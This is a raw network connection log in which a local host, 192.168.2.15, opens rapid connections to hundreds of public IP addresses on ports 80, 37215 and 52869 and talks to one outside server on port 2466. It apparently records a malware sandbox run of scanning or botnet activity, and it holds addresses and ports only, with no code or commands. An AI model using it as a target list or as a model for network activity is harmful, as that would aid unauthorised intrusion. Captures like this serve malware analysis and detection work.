Jul 20, 2024 23:10:36.929914951 CEST	58774	80	192.168.2.15	88.3.38.182
Jul 20, 2024 23:10:36.930073977 CEST	80	58774	88.254.188.219	192.168.2.15
Jul 20, 2024 23:10:36.930114031 CEST	58774	80	192.168.2.15	88.254.188.219
Jul 20, 2024 23:10:36.930257082 CEST	58774	80	192.168.2.15	88.243.139.93
Jul 20, 2024 23:10:36.930257082 CEST	58774	80	192.168.2.15	88.147.164.0
Jul 20, 2024 23:10:36.930257082 CEST	58774	80	192.168.2.15	88.198.184.120
Jul 20, 2024 23:10:36.930257082 CEST	58774	80	192.168.2.15	88.235.252.37
Jul 20, 2024 23:10:36.930257082 CEST	58774	80	192.168.2.15	88.2.83.100
Jul 20, 2024 23:10:36.930257082 CEST	58774	80	192.168.2.15	88.160.232.204
Jul 20, 2024 23:10:36.930257082 CEST	58774	80	192.168.2.15	88.157.130.74
Jul 20, 2024 23:10:36.930257082 CEST	58774	80	192.168.2.15	88.150.203.33
Jul 20, 2024 23:10:36.930304050 CEST	58774	80	192.168.2.15	88.110.16.254
Jul 20, 2024 23:10:36.930304050 CEST	58774	80	192.168.2.15	88.165.242.12
Jul 20, 2024 23:10:36.930304050 CEST	58774	80	192.168.2.15	88.168.180.193
Jul 20, 2024 23:10:36.930304050 CEST	58774	80	192.168.2.15	88.110.66.57
Jul 20, 2024 23:10:36.930304050 CEST	58774	80	192.168.2.15	88.126.87.180
Jul 20, 2024 23:10:36.930597067 CEST	58774	80	192.168.2.15	88.111.175.99
Jul 20, 2024 23:10:36.930597067 CEST	58774	80	192.168.2.15	88.210.201.7
Jul 20, 2024 23:10:36.930597067 CEST	58774	80	192.168.2.15	88.128.240.78
Jul 20, 2024 23:10:36.930597067 CEST	58774	80	192.168.2.15	88.55.153.80
Jul 20, 2024 23:10:36.930597067 CEST	58774	80	192.168.2.15	88.186.97.141
Jul 20, 2024 23:10:36.930597067 CEST	58774	80	192.168.2.15	88.103.233.76
Jul 20, 2024 23:10:36.930597067 CEST	58774	80	192.168.2.15	88.212.206.87
Jul 20, 2024 23:10:36.930597067 CEST	58774	80	192.168.2.15	88.62.42.254
Jul 20, 2024 23:10:36.930815935 CEST	58774	80	192.168.2.15	88.148.109.126
Jul 20, 2024 23:10:36.930816889 CEST	58774	80	192.168.2.15	88.184.156.23
Jul 20, 2024 23:10:36.930816889 CEST	58774	80	192.168.2.15	88.183.185.95
Jul 20, 2024 23:10:36.930816889 CEST	58774	80	192.168.2.15	88.72.65.98
Jul 20, 2024 23:10:36.930891991 CEST	80	58774	88.156.117.37	192.168.2.15
Jul 20, 2024 23:10:36.930922031 CEST	80	58774	88.48.65.113	192.168.2.15
Jul 20, 2024 23:10:36.930936098 CEST	58774	80	192.168.2.15	88.156.117.37
Jul 20, 2024 23:10:36.930937052 CEST	80	58774	88.171.165.157	192.168.2.15
Jul 20, 2024 23:10:36.930972099 CEST	58774	80	192.168.2.15	88.48.65.113
Jul 20, 2024 23:10:36.930972099 CEST	58774	80	192.168.2.15	88.171.165.157
Jul 20, 2024 23:10:36.932445049 CEST	80	58774	88.246.87.212	192.168.2.15
Jul 20, 2024 23:10:36.932503939 CEST	58774	80	192.168.2.15	88.246.87.212
Jul 20, 2024 23:10:36.933700085 CEST	80	58774	88.219.232.14	192.168.2.15
Jul 20, 2024 23:10:36.933739901 CEST	58774	80	192.168.2.15	88.219.232.14
Jul 20, 2024 23:10:36.934036016 CEST	80	58774	88.149.154.140	192.168.2.15
Jul 20, 2024 23:10:36.934072018 CEST	58774	80	192.168.2.15	88.149.154.140
Jul 20, 2024 23:10:36.934417009 CEST	80	58774	88.10.145.78	192.168.2.15
Jul 20, 2024 23:10:36.934452057 CEST	58774	80	192.168.2.15	88.10.145.78
Jul 20, 2024 23:10:36.934462070 CEST	80	58774	88.104.39.130	192.168.2.15
Jul 20, 2024 23:10:36.934475899 CEST	80	58774	88.67.105.94	192.168.2.15
Jul 20, 2024 23:10:36.934501886 CEST	58774	80	192.168.2.15	88.104.39.130
Jul 20, 2024 23:10:36.934514999 CEST	58774	80	192.168.2.15	88.67.105.94
Jul 20, 2024 23:10:36.935736895 CEST	80	58774	88.53.66.209	192.168.2.15
Jul 20, 2024 23:10:36.935751915 CEST	80	58774	88.248.201.80	192.168.2.15
Jul 20, 2024 23:10:36.935765028 CEST	80	58774	88.64.124.166	192.168.2.15
Jul 20, 2024 23:10:36.935775995 CEST	58774	80	192.168.2.15	88.53.66.209
Jul 20, 2024 23:10:36.935779095 CEST	80	58774	88.223.109.143	192.168.2.15
Jul 20, 2024 23:10:36.935784101 CEST	58774	80	192.168.2.15	88.248.201.80
Jul 20, 2024 23:10:36.935792923 CEST	80	58774	88.31.188.102	192.168.2.15
Jul 20, 2024 23:10:36.935816050 CEST	58774	80	192.168.2.15	88.223.109.143
Jul 20, 2024 23:10:36.935822964 CEST	58774	80	192.168.2.15	88.64.124.166
Jul 20, 2024 23:10:36.935822964 CEST	58774	80	192.168.2.15	88.31.188.102
Jul 20, 2024 23:10:36.935832024 CEST	80	58774	88.60.161.93	192.168.2.15
Jul 20, 2024 23:10:36.935846090 CEST	80	58774	88.49.86.120	192.168.2.15
Jul 20, 2024 23:10:36.935870886 CEST	58774	80	192.168.2.15	88.60.161.93
Jul 20, 2024 23:10:36.935879946 CEST	58774	80	192.168.2.15	88.49.86.120
Jul 20, 2024 23:10:36.935955048 CEST	80	58774	88.30.216.224	192.168.2.15
Jul 20, 2024 23:10:36.935969114 CEST	80	58774	88.243.139.93	192.168.2.15
Jul 20, 2024 23:10:36.935997009 CEST	58774	80	192.168.2.15	88.30.216.224
Jul 20, 2024 23:10:36.936001062 CEST	58774	80	192.168.2.15	88.243.139.93
Jul 20, 2024 23:10:36.936162949 CEST	80	58774	88.147.164.0	192.168.2.15
Jul 20, 2024 23:10:36.936177015 CEST	80	58774	88.110.16.254	192.168.2.15
Jul 20, 2024 23:10:36.936198950 CEST	58774	80	192.168.2.15	88.147.164.0
Jul 20, 2024 23:10:36.936203003 CEST	80	58774	88.198.184.120	192.168.2.15
Jul 20, 2024 23:10:36.936211109 CEST	58774	80	192.168.2.15	88.110.16.254
Jul 20, 2024 23:10:36.936216116 CEST	80	58774	88.165.242.12	192.168.2.15
Jul 20, 2024 23:10:36.936228991 CEST	80	58774	88.235.252.37	192.168.2.15
Jul 20, 2024 23:10:36.936240911 CEST	58774	80	192.168.2.15	88.198.184.120
Jul 20, 2024 23:10:36.936242104 CEST	80	58774	88.2.83.100	192.168.2.15
Jul 20, 2024 23:10:36.936252117 CEST	58774	80	192.168.2.15	88.165.242.12
Jul 20, 2024 23:10:36.936273098 CEST	58774	80	192.168.2.15	88.235.252.37
Jul 20, 2024 23:10:36.936317921 CEST	58774	80	192.168.2.15	88.2.83.100
Jul 20, 2024 23:10:36.936428070 CEST	80	58774	88.160.232.204	192.168.2.15
Jul 20, 2024 23:10:36.936440945 CEST	80	58774	88.157.130.74	192.168.2.15
Jul 20, 2024 23:10:36.936454058 CEST	80	58774	88.150.203.33	192.168.2.15
Jul 20, 2024 23:10:36.936467886 CEST	58774	80	192.168.2.15	88.160.232.204
Jul 20, 2024 23:10:36.936469078 CEST	80	58774	88.111.175.99	192.168.2.15
Jul 20, 2024 23:10:36.936490059 CEST	80	58774	88.210.201.7	192.168.2.15
Jul 20, 2024 23:10:36.936503887 CEST	80	58774	88.128.240.78	192.168.2.15
Jul 20, 2024 23:10:36.936506987 CEST	58774	80	192.168.2.15	88.157.130.74
Jul 20, 2024 23:10:36.936506987 CEST	58774	80	192.168.2.15	88.150.203.33
Jul 20, 2024 23:10:36.936506987 CEST	58774	80	192.168.2.15	88.111.175.99
Jul 20, 2024 23:10:36.936516047 CEST	80	58774	88.55.153.80	192.168.2.15
Jul 20, 2024 23:10:36.936563015 CEST	58774	80	192.168.2.15	88.210.201.7
Jul 20, 2024 23:10:36.936563015 CEST	58774	80	192.168.2.15	88.128.240.78
Jul 20, 2024 23:10:36.936563015 CEST	58774	80	192.168.2.15	88.55.153.80
Jul 20, 2024 23:10:36.941701889 CEST	50866	2466	192.168.2.15	15.235.203.214
Jul 20, 2024 23:10:36.946655989 CEST	2466	50866	15.235.203.214	192.168.2.15
Jul 20, 2024 23:10:36.946713924 CEST	50866	2466	192.168.2.15	15.235.203.214
Jul 20, 2024 23:10:36.948534012 CEST	50866	2466	192.168.2.15	15.235.203.214
Jul 20, 2024 23:10:36.953386068 CEST	2466	50866	15.235.203.214	192.168.2.15
Jul 20, 2024 23:10:37.801806927 CEST	58767	37215	192.168.2.15	157.60.214.43
Jul 20, 2024 23:10:37.801827908 CEST	58767	37215	192.168.2.15	197.191.233.83
Jul 20, 2024 23:10:37.801884890 CEST	58767	37215	192.168.2.15	180.160.78.236
Jul 20, 2024 23:10:37.801886082 CEST	58767	37215	192.168.2.15	197.151.185.182
Jul 20, 2024 23:10:37.801886082 CEST	58767	37215	192.168.2.15	197.213.122.129
Jul 20, 2024 23:10:37.801886082 CEST	58767	37215	192.168.2.15	197.68.246.82
Jul 20, 2024 23:10:37.801889896 CEST	58767	37215	192.168.2.15	157.123.131.27
Jul 20, 2024 23:10:37.801889896 CEST	58767	37215	192.168.2.15	41.215.222.179
Jul 20, 2024 23:10:37.801929951 CEST	58767	37215	192.168.2.15	157.27.44.107
Jul 20, 2024 23:10:37.801929951 CEST	58767	37215	192.168.2.15	157.34.128.93
Jul 20, 2024 23:10:37.801956892 CEST	58767	37215	192.168.2.15	157.203.207.178
Jul 20, 2024 23:10:37.801980972 CEST	58767	37215	192.168.2.15	157.91.203.86
Jul 20, 2024 23:10:37.802047014 CEST	58767	37215	192.168.2.15	197.63.234.218
Jul 20, 2024 23:10:37.802109957 CEST	58767	37215	192.168.2.15	157.24.64.239
Jul 20, 2024 23:10:37.802109957 CEST	58767	37215	192.168.2.15	157.200.197.56
Jul 20, 2024 23:10:37.802186966 CEST	58767	37215	192.168.2.15	1.153.1.64
Jul 20, 2024 23:10:37.802215099 CEST	58767	37215	192.168.2.15	157.148.122.154
Jul 20, 2024 23:10:37.802239895 CEST	58767	37215	192.168.2.15	197.117.127.154
Jul 20, 2024 23:10:37.802239895 CEST	58767	37215	192.168.2.15	85.124.236.79
Jul 20, 2024 23:10:37.802239895 CEST	58767	37215	192.168.2.15	197.0.212.30
Jul 20, 2024 23:10:37.802275896 CEST	58767	37215	192.168.2.15	157.48.152.215
Jul 20, 2024 23:10:37.802275896 CEST	58767	37215	192.168.2.15	157.246.177.248
Jul 20, 2024 23:10:37.802275896 CEST	58767	37215	192.168.2.15	41.78.140.141
Jul 20, 2024 23:10:37.802275896 CEST	58767	37215	192.168.2.15	197.216.39.117
Jul 20, 2024 23:10:37.802275896 CEST	58767	37215	192.168.2.15	192.248.27.158
Jul 20, 2024 23:10:37.802275896 CEST	58767	37215	192.168.2.15	162.194.245.250
Jul 20, 2024 23:10:37.802314043 CEST	58767	37215	192.168.2.15	157.41.116.113
Jul 20, 2024 23:10:37.802333117 CEST	58767	37215	192.168.2.15	100.183.224.149
Jul 20, 2024 23:10:37.802359104 CEST	58767	37215	192.168.2.15	41.198.237.25
Jul 20, 2024 23:10:37.802386045 CEST	58767	37215	192.168.2.15	157.16.90.129
Jul 20, 2024 23:10:37.802412987 CEST	58767	37215	192.168.2.15	197.224.22.147
Jul 20, 2024 23:10:37.802412987 CEST	58767	37215	192.168.2.15	41.100.22.26
Jul 20, 2024 23:10:37.802412987 CEST	58767	37215	192.168.2.15	197.109.252.7
Jul 20, 2024 23:10:37.802412987 CEST	58767	37215	192.168.2.15	197.206.145.252
Jul 20, 2024 23:10:37.802412987 CEST	58767	37215	192.168.2.15	197.80.40.66
Jul 20, 2024 23:10:37.802412987 CEST	58767	37215	192.168.2.15	125.215.206.242
Jul 20, 2024 23:10:37.802413940 CEST	58767	37215	192.168.2.15	157.33.16.84
Jul 20, 2024 23:10:37.802422047 CEST	58767	37215	192.168.2.15	157.179.168.120
Jul 20, 2024 23:10:37.802422047 CEST	58767	37215	192.168.2.15	197.133.236.34
Jul 20, 2024 23:10:37.802469015 CEST	58767	37215	192.168.2.15	41.138.208.89
Jul 20, 2024 23:10:37.802469015 CEST	58767	37215	192.168.2.15	41.216.171.51
Jul 20, 2024 23:10:37.802469969 CEST	58767	37215	192.168.2.15	41.28.138.201
Jul 20, 2024 23:10:37.802469969 CEST	58767	37215	192.168.2.15	197.148.20.215
Jul 20, 2024 23:10:37.802500010 CEST	58767	37215	192.168.2.15	41.229.88.41
Jul 20, 2024 23:10:37.802515984 CEST	58767	37215	192.168.2.15	157.239.122.240
Jul 20, 2024 23:10:37.802608013 CEST	58767	37215	192.168.2.15	157.175.181.191
Jul 20, 2024 23:10:37.802608013 CEST	58767	37215	192.168.2.15	197.72.245.150
Jul 20, 2024 23:10:37.802628994 CEST	58767	37215	192.168.2.15	73.246.17.76
Jul 20, 2024 23:10:37.802628994 CEST	58767	37215	192.168.2.15	41.37.82.200
Jul 20, 2024 23:10:37.802656889 CEST	58767	37215	192.168.2.15	45.37.197.81
Jul 20, 2024 23:10:37.802656889 CEST	58767	37215	192.168.2.15	197.225.29.93
Jul 20, 2024 23:10:37.802723885 CEST	58767	37215	192.168.2.15	197.84.123.182
Jul 20, 2024 23:10:37.802723885 CEST	58767	37215	192.168.2.15	197.168.134.148
Jul 20, 2024 23:10:37.802723885 CEST	58767	37215	192.168.2.15	24.116.250.142
Jul 20, 2024 23:10:37.802723885 CEST	58767	37215	192.168.2.15	197.20.204.98
Jul 20, 2024 23:10:37.802723885 CEST	58767	37215	192.168.2.15	91.217.115.225
Jul 20, 2024 23:10:37.802723885 CEST	58767	37215	192.168.2.15	157.241.184.58
Jul 20, 2024 23:10:37.802723885 CEST	58767	37215	192.168.2.15	197.199.121.205
Jul 20, 2024 23:10:37.802723885 CEST	58767	37215	192.168.2.15	41.37.186.42
Jul 20, 2024 23:10:37.802772045 CEST	58767	37215	192.168.2.15	67.47.108.140
Jul 20, 2024 23:10:37.802772045 CEST	58767	37215	192.168.2.15	170.144.45.218
Jul 20, 2024 23:10:37.802772999 CEST	58767	37215	192.168.2.15	197.160.6.46
Jul 20, 2024 23:10:37.802772999 CEST	58767	37215	192.168.2.15	157.166.240.145
Jul 20, 2024 23:10:37.802792072 CEST	58767	37215	192.168.2.15	109.17.197.10
Jul 20, 2024 23:10:37.802792072 CEST	58767	37215	192.168.2.15	157.197.174.115
Jul 20, 2024 23:10:37.802961111 CEST	58767	37215	192.168.2.15	197.194.243.108
Jul 20, 2024 23:10:37.802961111 CEST	58767	37215	192.168.2.15	146.236.211.101
Jul 20, 2024 23:10:37.802961111 CEST	58767	37215	192.168.2.15	41.46.234.183
Jul 20, 2024 23:10:37.802961111 CEST	58767	37215	192.168.2.15	196.18.132.173
Jul 20, 2024 23:10:37.802979946 CEST	58767	37215	192.168.2.15	197.207.190.107
Jul 20, 2024 23:10:37.803098917 CEST	58767	37215	192.168.2.15	157.53.95.58
Jul 20, 2024 23:10:37.803098917 CEST	58767	37215	192.168.2.15	157.85.60.6
Jul 20, 2024 23:10:37.803098917 CEST	58767	37215	192.168.2.15	197.73.110.83
Jul 20, 2024 23:10:37.803100109 CEST	58767	37215	192.168.2.15	197.193.200.234
Jul 20, 2024 23:10:37.803358078 CEST	58767	37215	192.168.2.15	41.29.232.209
Jul 20, 2024 23:10:37.803358078 CEST	58767	37215	192.168.2.15	157.133.138.41
Jul 20, 2024 23:10:37.803358078 CEST	58767	37215	192.168.2.15	197.254.19.244
Jul 20, 2024 23:10:37.803358078 CEST	58767	37215	192.168.2.15	182.162.171.84
Jul 20, 2024 23:10:37.803394079 CEST	58767	37215	192.168.2.15	62.243.33.179
Jul 20, 2024 23:10:37.803394079 CEST	58767	37215	192.168.2.15	173.87.154.186
Jul 20, 2024 23:10:37.803394079 CEST	58767	37215	192.168.2.15	197.23.9.160
Jul 20, 2024 23:10:37.803394079 CEST	58767	37215	192.168.2.15	197.212.235.19
Jul 20, 2024 23:10:37.803394079 CEST	58767	37215	192.168.2.15	197.120.128.176
Jul 20, 2024 23:10:37.803394079 CEST	58767	37215	192.168.2.15	197.15.51.224
Jul 20, 2024 23:10:37.803394079 CEST	58767	37215	192.168.2.15	41.219.104.81
Jul 20, 2024 23:10:37.803394079 CEST	58767	37215	192.168.2.15	197.89.254.25
Jul 20, 2024 23:10:37.803602934 CEST	58767	37215	192.168.2.15	211.10.208.19
Jul 20, 2024 23:10:37.803602934 CEST	58767	37215	192.168.2.15	41.31.131.87
Jul 20, 2024 23:10:37.803602934 CEST	58767	37215	192.168.2.15	41.247.205.168
Jul 20, 2024 23:10:37.803602934 CEST	58767	37215	192.168.2.15	197.14.238.62
Jul 20, 2024 23:10:37.803602934 CEST	58767	37215	192.168.2.15	197.220.55.7
Jul 20, 2024 23:10:37.803602934 CEST	58767	37215	192.168.2.15	197.171.53.33
Jul 20, 2024 23:10:37.803790092 CEST	58767	37215	192.168.2.15	197.40.184.56
Jul 20, 2024 23:10:37.803790092 CEST	58767	37215	192.168.2.15	41.32.87.180
Jul 20, 2024 23:10:37.803790092 CEST	58767	37215	192.168.2.15	41.1.139.129
Jul 20, 2024 23:10:37.803790092 CEST	58767	37215	192.168.2.15	157.155.60.20
Jul 20, 2024 23:10:37.803790092 CEST	58767	37215	192.168.2.15	85.155.239.167
Jul 20, 2024 23:10:37.803790092 CEST	58767	37215	192.168.2.15	157.100.68.144
Jul 20, 2024 23:10:37.803790092 CEST	58767	37215	192.168.2.15	41.178.145.48
Jul 20, 2024 23:10:37.803790092 CEST	58767	37215	192.168.2.15	197.179.212.160
Jul 20, 2024 23:10:37.803920984 CEST	58767	37215	192.168.2.15	197.251.127.198
Jul 20, 2024 23:10:37.803920984 CEST	58767	37215	192.168.2.15	213.4.74.94
Jul 20, 2024 23:10:37.803921938 CEST	58767	37215	192.168.2.15	222.21.19.242
Jul 20, 2024 23:10:37.803921938 CEST	58767	37215	192.168.2.15	157.254.57.167
Jul 20, 2024 23:10:37.803921938 CEST	58767	37215	192.168.2.15	197.58.236.48
Jul 20, 2024 23:10:37.803921938 CEST	58767	37215	192.168.2.15	113.120.65.180
Jul 20, 2024 23:10:37.803921938 CEST	58767	37215	192.168.2.15	96.118.43.16
Jul 20, 2024 23:10:37.803921938 CEST	58767	37215	192.168.2.15	197.46.89.191
Jul 20, 2024 23:10:37.804411888 CEST	58767	37215	192.168.2.15	41.110.97.3
Jul 20, 2024 23:10:37.804411888 CEST	58767	37215	192.168.2.15	41.65.80.195
Jul 20, 2024 23:10:37.804411888 CEST	58767	37215	192.168.2.15	177.143.244.44
Jul 20, 2024 23:10:37.804411888 CEST	58767	37215	192.168.2.15	80.26.163.103
Jul 20, 2024 23:10:37.804411888 CEST	58767	37215	192.168.2.15	41.73.154.95
Jul 20, 2024 23:10:37.804794073 CEST	58767	37215	192.168.2.15	41.172.129.203
Jul 20, 2024 23:10:37.804794073 CEST	58767	37215	192.168.2.15	41.92.141.153
Jul 20, 2024 23:10:37.804794073 CEST	58767	37215	192.168.2.15	197.245.223.192
Jul 20, 2024 23:10:37.804794073 CEST	58767	37215	192.168.2.15	197.152.159.141
Jul 20, 2024 23:10:37.804794073 CEST	58767	37215	192.168.2.15	41.28.223.56
Jul 20, 2024 23:10:37.804794073 CEST	58767	37215	192.168.2.15	157.227.47.27
Jul 20, 2024 23:10:37.804794073 CEST	58767	37215	192.168.2.15	157.212.89.89
Jul 20, 2024 23:10:37.804840088 CEST	58767	37215	192.168.2.15	197.199.100.248
Jul 20, 2024 23:10:37.804840088 CEST	58767	37215	192.168.2.15	41.102.110.55
Jul 20, 2024 23:10:37.804840088 CEST	58767	37215	192.168.2.15	41.62.196.146
Jul 20, 2024 23:10:37.804840088 CEST	58767	37215	192.168.2.15	18.212.3.237
Jul 20, 2024 23:10:37.804840088 CEST	58767	37215	192.168.2.15	157.141.67.107
Jul 20, 2024 23:10:37.804840088 CEST	58767	37215	192.168.2.15	41.22.72.49
Jul 20, 2024 23:10:37.804840088 CEST	58767	37215	192.168.2.15	41.45.252.70
Jul 20, 2024 23:10:37.804840088 CEST	58767	37215	192.168.2.15	197.234.95.95
Jul 20, 2024 23:10:37.804889917 CEST	58767	37215	192.168.2.15	90.18.90.51
Jul 20, 2024 23:10:37.804889917 CEST	58767	37215	192.168.2.15	41.145.34.239
Jul 20, 2024 23:10:37.804889917 CEST	58767	37215	192.168.2.15	41.57.247.135
Jul 20, 2024 23:10:37.804889917 CEST	58767	37215	192.168.2.15	197.125.253.199
Jul 20, 2024 23:10:37.804889917 CEST	58767	37215	192.168.2.15	157.81.186.140
Jul 20, 2024 23:10:37.804889917 CEST	58767	37215	192.168.2.15	41.240.108.83
Jul 20, 2024 23:10:37.804889917 CEST	58767	37215	192.168.2.15	197.175.204.118
Jul 20, 2024 23:10:37.804889917 CEST	58767	37215	192.168.2.15	157.222.38.248
Jul 20, 2024 23:10:37.805149078 CEST	58767	37215	192.168.2.15	126.195.193.158
Jul 20, 2024 23:10:37.805149078 CEST	58767	37215	192.168.2.15	198.5.88.189
Jul 20, 2024 23:10:37.805149078 CEST	58767	37215	192.168.2.15	89.74.36.44
Jul 20, 2024 23:10:37.805149078 CEST	58767	37215	192.168.2.15	157.105.135.159
Jul 20, 2024 23:10:37.805149078 CEST	58767	37215	192.168.2.15	157.60.245.135
Jul 20, 2024 23:10:37.805149078 CEST	58767	37215	192.168.2.15	45.159.144.131
Jul 20, 2024 23:10:37.805149078 CEST	58767	37215	192.168.2.15	41.111.240.145
Jul 20, 2024 23:10:37.805149078 CEST	58767	37215	192.168.2.15	59.123.56.126
Jul 20, 2024 23:10:37.805612087 CEST	58767	37215	192.168.2.15	79.176.18.28
Jul 20, 2024 23:10:37.805612087 CEST	58767	37215	192.168.2.15	157.122.212.222
Jul 20, 2024 23:10:37.805613041 CEST	58767	37215	192.168.2.15	157.22.213.115
Jul 20, 2024 23:10:37.805613041 CEST	58767	37215	192.168.2.15	165.31.208.112
Jul 20, 2024 23:10:37.805613041 CEST	58767	37215	192.168.2.15	121.251.97.66
Jul 20, 2024 23:10:37.805613041 CEST	58767	37215	192.168.2.15	206.103.204.223
Jul 20, 2024 23:10:37.805613041 CEST	58767	37215	192.168.2.15	41.79.54.43
Jul 20, 2024 23:10:37.805613041 CEST	58767	37215	192.168.2.15	153.254.41.187
Jul 20, 2024 23:10:37.806128979 CEST	58767	37215	192.168.2.15	143.141.244.68
Jul 20, 2024 23:10:37.806128979 CEST	58767	37215	192.168.2.15	157.3.209.109
Jul 20, 2024 23:10:37.806128979 CEST	58767	37215	192.168.2.15	42.242.165.146
Jul 20, 2024 23:10:37.806128979 CEST	58767	37215	192.168.2.15	157.87.60.182
Jul 20, 2024 23:10:37.806129932 CEST	58767	37215	192.168.2.15	212.185.55.12
Jul 20, 2024 23:10:37.806276083 CEST	58767	37215	192.168.2.15	78.182.219.34
Jul 20, 2024 23:10:37.806276083 CEST	58767	37215	192.168.2.15	41.12.115.150
Jul 20, 2024 23:10:37.806276083 CEST	58767	37215	192.168.2.15	223.168.72.227
Jul 20, 2024 23:10:37.806276083 CEST	58767	37215	192.168.2.15	197.179.40.53
Jul 20, 2024 23:10:37.806276083 CEST	58767	37215	192.168.2.15	157.218.201.124
Jul 20, 2024 23:10:37.806276083 CEST	58767	37215	192.168.2.15	157.57.184.189
Jul 20, 2024 23:10:37.806276083 CEST	58767	37215	192.168.2.15	41.6.49.236
Jul 20, 2024 23:10:37.806276083 CEST	58767	37215	192.168.2.15	41.84.193.219
Jul 20, 2024 23:10:37.806797028 CEST	58767	37215	192.168.2.15	41.45.75.186
Jul 20, 2024 23:10:37.806797028 CEST	58767	37215	192.168.2.15	41.8.44.217
Jul 20, 2024 23:10:37.806797981 CEST	58767	37215	192.168.2.15	191.22.17.66
Jul 20, 2024 23:10:37.806797981 CEST	58767	37215	192.168.2.15	118.164.169.157
Jul 20, 2024 23:10:37.806797981 CEST	58767	37215	192.168.2.15	197.22.59.28
Jul 20, 2024 23:10:37.806797981 CEST	58767	37215	192.168.2.15	137.114.123.246
Jul 20, 2024 23:10:37.806797981 CEST	58767	37215	192.168.2.15	157.232.218.136
Jul 20, 2024 23:10:37.806797981 CEST	58767	37215	192.168.2.15	144.111.159.210
Jul 20, 2024 23:10:37.806922913 CEST	58767	37215	192.168.2.15	41.171.192.20
Jul 20, 2024 23:10:37.806922913 CEST	58767	37215	192.168.2.15	41.210.216.86
Jul 20, 2024 23:10:37.806922913 CEST	58767	37215	192.168.2.15	157.248.244.162
Jul 20, 2024 23:10:37.806922913 CEST	58767	37215	192.168.2.15	157.130.22.244
Jul 20, 2024 23:10:37.806922913 CEST	58767	37215	192.168.2.15	197.65.187.254
Jul 20, 2024 23:10:37.806922913 CEST	58767	37215	192.168.2.15	110.187.106.242
Jul 20, 2024 23:10:37.806922913 CEST	58767	37215	192.168.2.15	41.170.68.215
Jul 20, 2024 23:10:37.806922913 CEST	58767	37215	192.168.2.15	41.151.29.120
Jul 20, 2024 23:10:37.807899952 CEST	58767	37215	192.168.2.15	197.219.171.240
Jul 20, 2024 23:10:37.807899952 CEST	58767	37215	192.168.2.15	157.3.68.92
Jul 20, 2024 23:10:37.807899952 CEST	58767	37215	192.168.2.15	41.8.88.19
Jul 20, 2024 23:10:37.807899952 CEST	58767	37215	192.168.2.15	34.10.80.0
Jul 20, 2024 23:10:37.807899952 CEST	58767	37215	192.168.2.15	157.36.23.144
Jul 20, 2024 23:10:37.807899952 CEST	58767	37215	192.168.2.15	157.52.27.192
Jul 20, 2024 23:10:37.807899952 CEST	58767	37215	192.168.2.15	157.2.130.211
Jul 20, 2024 23:10:37.807899952 CEST	58767	37215	192.168.2.15	157.181.8.209
Jul 20, 2024 23:10:37.808301926 CEST	58767	37215	192.168.2.15	197.52.127.77
Jul 20, 2024 23:10:37.808301926 CEST	58767	37215	192.168.2.15	98.214.74.189
Jul 20, 2024 23:10:37.808301926 CEST	58767	37215	192.168.2.15	197.2.105.106
Jul 20, 2024 23:10:37.808301926 CEST	58767	37215	192.168.2.15	41.178.219.191
Jul 20, 2024 23:10:37.808301926 CEST	58767	37215	192.168.2.15	41.176.159.201
Jul 20, 2024 23:10:37.808301926 CEST	58767	37215	192.168.2.15	41.206.150.232
Jul 20, 2024 23:10:37.808301926 CEST	58767	37215	192.168.2.15	157.132.182.252
Jul 20, 2024 23:10:37.808301926 CEST	58767	37215	192.168.2.15	41.98.99.39
Jul 20, 2024 23:10:37.808521986 CEST	58767	37215	192.168.2.15	189.75.207.178
Jul 20, 2024 23:10:37.808521986 CEST	58767	37215	192.168.2.15	41.248.107.19
Jul 20, 2024 23:10:37.808521986 CEST	58767	37215	192.168.2.15	197.90.65.130
Jul 20, 2024 23:10:37.808521986 CEST	58767	37215	192.168.2.15	197.156.192.140
Jul 20, 2024 23:10:37.808624983 CEST	58767	37215	192.168.2.15	41.226.107.8
Jul 20, 2024 23:10:37.808624983 CEST	58767	37215	192.168.2.15	41.163.171.231
Jul 20, 2024 23:10:37.808624983 CEST	58767	37215	192.168.2.15	197.71.87.129
Jul 20, 2024 23:10:37.808624983 CEST	58767	37215	192.168.2.15	157.143.10.205
Jul 20, 2024 23:10:37.808624983 CEST	58767	37215	192.168.2.15	86.174.93.222
Jul 20, 2024 23:10:37.808624983 CEST	58767	37215	192.168.2.15	197.150.216.74
Jul 20, 2024 23:10:37.808624983 CEST	58767	37215	192.168.2.15	157.200.158.9
Jul 20, 2024 23:10:37.808624983 CEST	58767	37215	192.168.2.15	197.92.168.162
Jul 20, 2024 23:10:37.809391022 CEST	58767	37215	192.168.2.15	122.133.81.202
Jul 20, 2024 23:10:37.809391022 CEST	58767	37215	192.168.2.15	157.161.230.226
Jul 20, 2024 23:10:37.809391022 CEST	58767	37215	192.168.2.15	41.129.130.16
Jul 20, 2024 23:10:37.809391022 CEST	58767	37215	192.168.2.15	197.66.185.226
Jul 20, 2024 23:10:37.809391022 CEST	58767	37215	192.168.2.15	41.204.94.246
Jul 20, 2024 23:10:37.809391022 CEST	58767	37215	192.168.2.15	197.231.206.182
Jul 20, 2024 23:10:37.809391022 CEST	58767	37215	192.168.2.15	41.94.197.84
Jul 20, 2024 23:10:37.809391022 CEST	58767	37215	192.168.2.15	197.88.176.144
Jul 20, 2024 23:10:37.809808016 CEST	58767	37215	192.168.2.15	157.135.117.217
Jul 20, 2024 23:10:37.809808016 CEST	58767	37215	192.168.2.15	197.104.87.25
Jul 20, 2024 23:10:37.809808016 CEST	58767	37215	192.168.2.15	197.86.21.19
Jul 20, 2024 23:10:37.809808016 CEST	58767	37215	192.168.2.15	41.96.187.126
Jul 20, 2024 23:10:37.809808969 CEST	58767	37215	192.168.2.15	157.201.191.186
Jul 20, 2024 23:10:37.809808969 CEST	58767	37215	192.168.2.15	41.83.69.157
Jul 20, 2024 23:10:37.809808969 CEST	58767	37215	192.168.2.15	41.238.46.145
Jul 20, 2024 23:10:37.809808969 CEST	58767	37215	192.168.2.15	41.236.123.135
Jul 20, 2024 23:10:37.809952021 CEST	58771	52869	192.168.2.15	100.47.254.113
Jul 20, 2024 23:10:37.809976101 CEST	58767	37215	192.168.2.15	197.35.75.176
Jul 20, 2024 23:10:37.809976101 CEST	58767	37215	192.168.2.15	157.23.229.215
Jul 20, 2024 23:10:37.809976101 CEST	58767	37215	192.168.2.15	157.221.102.78
Jul 20, 2024 23:10:37.809976101 CEST	58767	37215	192.168.2.15	197.159.151.175
Jul 20, 2024 23:10:37.809976101 CEST	58767	37215	192.168.2.15	157.51.246.64
Jul 20, 2024 23:10:37.809977055 CEST	58767	37215	192.168.2.15	41.189.53.206
Jul 20, 2024 23:10:37.809977055 CEST	58767	37215	192.168.2.15	41.49.237.223
